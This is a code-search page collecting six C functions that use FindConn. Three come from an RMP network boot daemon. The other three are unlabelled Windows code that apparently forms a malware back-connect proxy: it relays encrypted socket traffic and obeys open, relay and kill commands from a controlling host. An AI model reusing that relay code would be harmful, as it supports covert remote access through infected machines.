Exemplo n.º 1
0
void DisconnBid( USHORT uBid )
{
	pWaitForSingleObject( hThreadMutex, INFINITE );

	int k = FindConn( uBid );

	if ( k != -1 )
	{
		ThreadConnection Conn = Connections[ k ];

		Connections[ k ].thread_s = INVALID_SOCKET;

		if ( Conn.thread_s != INVALID_SOCKET )
		{
			pshutdown( Conn.thread_s, FD_READ );
			pshutdown( Conn.thread_s, SD_SEND );

			pclosesocket( Conn.thread_s );
		}

		dwConnections--;

		if ( dwConnections )
		{
			Connections[ k ] = Connections[ dwConnections ];
		}
	}

	pReleaseMutex( hThreadMutex );

}
Exemplo n.º 2
0
/*
**  BootDone -- free up memory allocated for a connection.
**
**	Parameters:
**		rconn - incoming boot complete packet.
**
**	Returns:
**		1 on success, 0 on failure.
**
**	Side Effects:
**		none.
*/
int
BootDone(RMPCONN *rconn)
{
	RMPCONN *oldconn;
	struct rmp_packet *rpl;

	/*
	 *  If we cant find the connection, ignore the request.
	 */
	if ((oldconn = FindConn(rconn)) == NULL) {
		syslog(LOG_ERR, "BootDone: no existing connection (%s)",
		       EnetStr(rconn));
		return(0);
	}

	rpl = &oldconn->rmp;			/* cache ptr to RMP packet */

	/*
	 *  Make sure Session ID's match.
	 */
	if (ntohs(rconn->rmp.r_rrq.rmp_session) !=
	    ((rpl->r_type == RMP_BOOT_REPL)? ntohs(rpl->r_brpl.rmp_session):
	                                    ntohs(rpl->r_rrpl.rmp_session))) {
		syslog(LOG_ERR, "BootDone: bad session id (%s)",
		       EnetStr(rconn));
		return(0);
	}

	RemoveConn(oldconn);			/* remove connection */

	syslog(LOG_INFO, "%s: boot complete", EnetStr(rconn));

	return(1);
}
Exemplo n.º 3
0
void SessionWork( SOCKET Socket )
{
	PCONNECTIONS pConnect = (PCONNECTIONS)MemAlloc( sizeof( PCONNECTIONS ) );

	m_memset( pConnect, 0, sizeof( PCONNECTIONS ) );

	char *Data = NULL;

	while ( 1 )
	{
		if ( !WaitRecv( Socket, 60*60 ) )
		{
			break;
		}

		TPkt tPacket;

		if ( !NetRecv( Socket, (char*)&tPacket, sizeof( tPacket ) ) )
		{
			break;
		}

		if ( tPacket.QType == 0x63 )
		{

			if ( tPacket.dwLen != 6 )
			{
				break;
			}

			if ( Data )
			{
				MemFree( Data );
			}

			Data = (char *)MemAlloc( tPacket.dwLen + 1 );

			if ( Data == NULL )
			{
				break;
			}

			if ( !NetRecv( Socket, Data, tPacket.dwLen ) )
			{
				break;
			}

			ManageNewConnection( Socket, *(ULONG*)Data, (USHORT)tPacket.dwReserved, *(USHORT*)&Data[4] );
		}
		else if ( tPacket.QType == 0x73 )
		{
			if ( Data )
			{
				MemFree( Data );
			}

			Data = (char *)MemAlloc( tPacket.dwLen + 1 );

			if ( Data == NULL )
			{
				break;
			}

			if ( !NetRecv( Socket, Data, tPacket.dwLen ) )
			{
				break;
			}
			
			BcDecrypt( Data, tPacket.dwLen );

			ThreadConnection Conn;
			pWaitForSingleObject( hThreadMutex, INFINITE );

			int k = FindConn( (USHORT)tPacket.dwReserved );

			if ( k != -1 )
			{
				Conn = Connections[ k ];
				NetSend( Conn.thread_s, Data, tPacket.dwLen );
			}

			pReleaseMutex( hThreadMutex );
		}
		else if ( tPacket.QType == 0x77 )
		{
			DisconnBid( tPacket.dwReserved );
		} 
		else if ( tPacket.QType == 0x64 )
		{
			pclosesocket(Socket);
			KillAllConnections();
			pExitThread( 1 );			
			break;
		} 
		else if ( tPacket.QType == 0x65 )
		{
		} 
		else
		{
			break;
		}
	}

	if ( Data )
	{
		MemFree( Data );
	}

	pConnect->dwStatus = 1;
}
Exemplo n.º 4
0
DWORD WINAPI ConnectionThread( LPVOID lpData )
{
	int bid = (int)lpData;

	ThreadConnection Conn;
	pWaitForSingleObject( hThreadMutex, INFINITE );

	int k = FindConn( bid );

	if ( k != -1 )
	{
		Conn = Connections[ k ];
	}

	pReleaseMutex(hThreadMutex);

	if ( k != -1 )
	{
		if ( Conn.thread_s != INVALID_SOCKET )
		{
			pWaitForSingleObject( hThreadMutex, INFINITE );

			k = FindConn( bid );

			if ( k != -1 )
			{
				Connections[ k ].thread_s = Conn.thread_s;
			}

			pReleaseMutex( hThreadMutex );

			pWaitForSingleObject( hSockMutex, INFINITE );

			SendStatus( Conn.s, bid, Conn.cid, TRUE );

			pReleaseMutex( hSockMutex );

			char data[1024];

			while ( 1 )
			{
				int r = (int)precv( Conn.thread_s, data, 1024, 0 );

				if ( r == 0 || r == SOCKET_ERROR )
				{
					pWaitForSingleObject( hSockMutex, INFINITE );

					TPkt tPacket;

					tPacket.dwLen		 = 0;
					tPacket.QType	 = 0x77;
					tPacket.dwReserved = bid;
					
					NetSend( Conn.s, (char*)&tPacket, sizeof( tPacket ) );

					pReleaseMutex( hSockMutex );

					break;
				}

				pWaitForSingleObject( hSockMutex, INFINITE );

				TPkt tPacket;

				tPacket.dwLen	   = r;
				tPacket.QType	   = 0x73;
				tPacket.dwReserved = bid;

				NetSend( Conn.s, (char*)&tPacket, sizeof( tPacket ) );

				BcDecrypt( data, r );
				
				if ( !NetSend( Conn.s, data, r ) ) 
				{
					pReleaseMutex( hSockMutex );
					break;
				}
				pReleaseMutex( hSockMutex );
			}
		} 
		else
		{
			SendStatus( Conn.s, bid, Conn.cid, FALSE );
		}
	}

	DisconnBid( bid );

	return 0;
}
Exemplo n.º 5
0
/*
**  SendReadRepl -- send a portion of the boot file to the requester.
**
**	Parameters:
**		rconn - the reply packet to be formatted.
**
**	Returns:
**		1 on success, 0 on failure.
**
**	Side Effects:
**		none.
*/
int
SendReadRepl(RMPCONN *rconn)
{
	int retval = 0;
	RMPCONN *oldconn;
	struct rmp_packet *rpl, *req;
	int size = 0;
	int madeconn = 0;

	/*
	 *  Find the old connection.  If one doesnt exist, create one only
	 *  to return the error code.
	 */
	if ((oldconn = FindConn(rconn)) == NULL) {
		if ((oldconn = NewConn(rconn)) == NULL)
			return(0);
		syslog(LOG_ERR, "SendReadRepl: no active connection (%s)",
		       EnetStr(rconn));
		madeconn++;
	}

	req = &rconn->rmp;		/* cache ptr to request packet */
	rpl = &oldconn->rmp;		/* cache ptr to reply packet */

	if (madeconn) {			/* no active connection above; abort */
		rpl->r_rrpl.rmp_retcode = RMP_E_ABORT;
		retval = 1;
		goto sendpkt;
	}

	/*
	 *  Make sure Session ID's match.
	 */
	if (ntohs(req->r_rrq.rmp_session) !=
	    ((rpl->r_type == RMP_BOOT_REPL)? ntohs(rpl->r_brpl.rmp_session):
	                                     ntohs(rpl->r_rrpl.rmp_session))) {
		syslog(LOG_ERR, "SendReadRepl: bad session id (%s)",
		       EnetStr(rconn));
		rpl->r_rrpl.rmp_retcode = RMP_E_BADSID;
		retval = 1;
		goto sendpkt;
	}

	/*
	 *  If the requester asks for more data than we can fit,
	 *  silently clamp the request size down to RMPREADDATA.
	 *
	 *  N.B. I do not know if this is "legal", however it seems
	 *  to work.  This is necessary for bpfwrite() on machines
	 *  with MCLBYTES less than 1514.
	 */
	if (ntohs(req->r_rrq.rmp_size) > RMPREADDATA)
		req->r_rrq.rmp_size = htons(RMPREADDATA);

	/*
	 *  Position read head on file according to info in request packet.
	 */
	GETWORD(req->r_rrq.rmp_offset, size);
	if (lseek(oldconn->bootfd, (off_t)size, SEEK_SET) < 0) {
		syslog(LOG_ERR, "SendReadRepl: lseek: %m (%s)",
		       EnetStr(rconn));
		rpl->r_rrpl.rmp_retcode = RMP_E_ABORT;
		retval = 1;
		goto sendpkt;
	}

	/*
	 *  Read data directly into reply packet.
	 */
	if ((size = read(oldconn->bootfd, &rpl->r_rrpl.rmp_data,
	                 (int) ntohs(req->r_rrq.rmp_size))) <= 0) {
		if (size < 0) {
			syslog(LOG_ERR, "SendReadRepl: read: %m (%s)",
			       EnetStr(rconn));
			rpl->r_rrpl.rmp_retcode = RMP_E_ABORT;
		} else {
			rpl->r_rrpl.rmp_retcode = RMP_E_EOF;
		}
		retval = 1;
		goto sendpkt;
	}

	/*
	 *  Set success indication.
	 */
	rpl->r_rrpl.rmp_retcode = RMP_E_OKAY;

sendpkt:
	/*
	 *  Set up assorted fields in reply packet.
	 */
	rpl->r_rrpl.rmp_type = RMP_READ_REPL;
	COPYWORD(req->r_rrq.rmp_offset, rpl->r_rrpl.rmp_offset);
	rpl->r_rrpl.rmp_session = req->r_rrq.rmp_session;

	oldconn->rmplen = RMPREADSIZE(size);	/* set size of packet */

	retval &= SendPacket(oldconn);		/* send packet */

	if (madeconn)				/* clean up after ourself */
		FreeConn(oldconn);

	return (retval);
}
Exemplo n.º 6
0
/*
**  SendBootRepl -- open boot file and respond to boot request.
**
**	Parameters:
**		req - RMP BOOT packet containing the request.
**		rconn - the reply packet to be formatted.
**		filelist - list of files available to the requester.
**
**	Returns:
**		1 on success, 0 on failure.
**
**	Side Effects:
**		none.
*/
int
SendBootRepl(struct rmp_packet *req, RMPCONN *rconn, char *filelist[])
{
	int retval;
	char *filename, filepath[RMPBOOTDATA+1];
	RMPCONN *oldconn;
	struct rmp_packet *rpl;
	char *src, *dst1, *dst2;
	u_int8_t i;

	/*
	 *  If another connection already exists, delete it since we
	 *  are obviously starting again.
	 */
	if ((oldconn = FindConn(rconn)) != NULL) {
		syslog(LOG_WARNING, "%s: dropping existing connection",
		       EnetStr(oldconn));
		RemoveConn(oldconn);
	}

	rpl = &rconn->rmp;			/* cache ptr to RMP packet */

	/*
	 *  Set up assorted fields in reply packet.
	 */
	rpl->r_brpl.rmp_type = RMP_BOOT_REPL;
	COPYWORD(req->r_brq.rmp_seqno, rpl->r_brpl.rmp_seqno);
	rpl->r_brpl.rmp_session = htons(GenSessID());
	rpl->r_brpl.rmp_version = htons(RMP_VERSION);
	rpl->r_brpl.rmp_flnmsize = req->r_brq.rmp_flnmsize;

	/*
	 *  Copy file name to `filepath' string, and into reply packet.
	 */
	src = &req->r_brq.rmp_flnm;
	dst1 = filepath;
	dst2 = &rpl->r_brpl.rmp_flnm;
	for (i = 0; i < req->r_brq.rmp_flnmsize; i++)
		*dst1++ = *dst2++ = *src++;
	*dst1 = '\0';

	/*
	 *  If we are booting HP-UX machines, their secondary loader will
	 *  ask for files like "/hp-ux".  As a security measure, we do not
	 *  allow boot files to lay outside the boot directory (unless they
	 *  are purposely link'd out.  So, make `filename' become the path-
	 *  stripped file name and spoof the client into thinking that it
	 *  really got what it wanted.
	 */
	filename = (filename = strrchr(filepath,'/'))? ++filename: filepath;

	/*
	 *  Check that this is a valid boot file name.
	 */
	for (i = 0; i < C_MAXFILE && filelist[i] != NULL; i++)
		if (STREQN(filename, filelist[i]))
			goto match;

	/*
	 *  Invalid boot file name, set error and send reply packet.
	 */
	rpl->r_brpl.rmp_retcode = RMP_E_NOFILE;
	retval = 0;
	goto sendpkt;

match:
	/*
	 *  This is a valid boot file.  Open the file and save the file
	 *  descriptor associated with this connection and set success
	 *  indication.  If the file couldnt be opened, set error:
	 *  	"no such file or dir" - RMP_E_NOFILE
	 *	"file table overflow" - RMP_E_BUSY
	 *	"too many open files" - RMP_E_BUSY
	 *	anything else         - RMP_E_OPENFILE
	 */
	if ((rconn->bootfd = open(filename, O_RDONLY, 0600)) < 0) {
		rpl->r_brpl.rmp_retcode = (errno == ENOENT)? RMP_E_NOFILE:
			(errno == EMFILE || errno == ENFILE)? RMP_E_BUSY:
			RMP_E_OPENFILE;
		retval = 0;
	} else {
		rpl->r_brpl.rmp_retcode = RMP_E_OKAY;
		retval = 1;
	}

sendpkt:
	syslog(LOG_INFO, "%s: request to boot %s (%s)",
	       EnetStr(rconn), filename, retval? "granted": "denied");

	rconn->rmplen = RMPBOOTSIZE(rpl->r_brpl.rmp_flnmsize);

	return (retval & SendPacket(rconn));
}